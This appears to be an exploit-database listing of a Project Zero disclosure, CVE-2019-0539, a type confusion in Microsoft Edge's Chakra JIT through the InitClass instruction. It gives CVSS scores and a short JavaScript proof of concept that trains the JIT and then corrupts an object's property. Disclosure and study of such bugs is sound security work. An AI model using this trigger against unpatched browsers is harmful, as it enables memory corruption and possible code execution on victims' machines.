Microsoft Edge Chakra JIT InitClass Type Confusion

2019.01.18
Risk: Low
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 7.6/10
Impact Subscore: 10/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

Microsoft Edge: Chakra: JIT: Type confusion via InitClass CVE-2019-0539 This is similar to <a href="/p/project-zero/issues/detail?id=1702" title="Microsoft Edge: Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto" class="closed_ref" rel="nofollow"> issue 1702 </a>. This time, it uses an InitClass instruction to reach the SetIsPrototype method. function opt(o, c, value) { o.b = 1; class A extends c { } o.a = value; } function main() { for (let i = 0; i < 2000; i++) { let o = {a: 1, b: 2}; opt(o, (function () {}), {}); } let o = {a: 1, b: 2}; let cons = function () {}; cons.prototype = o; opt(o, cons, 0x1234); print(o.a); } main(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: lokihardt


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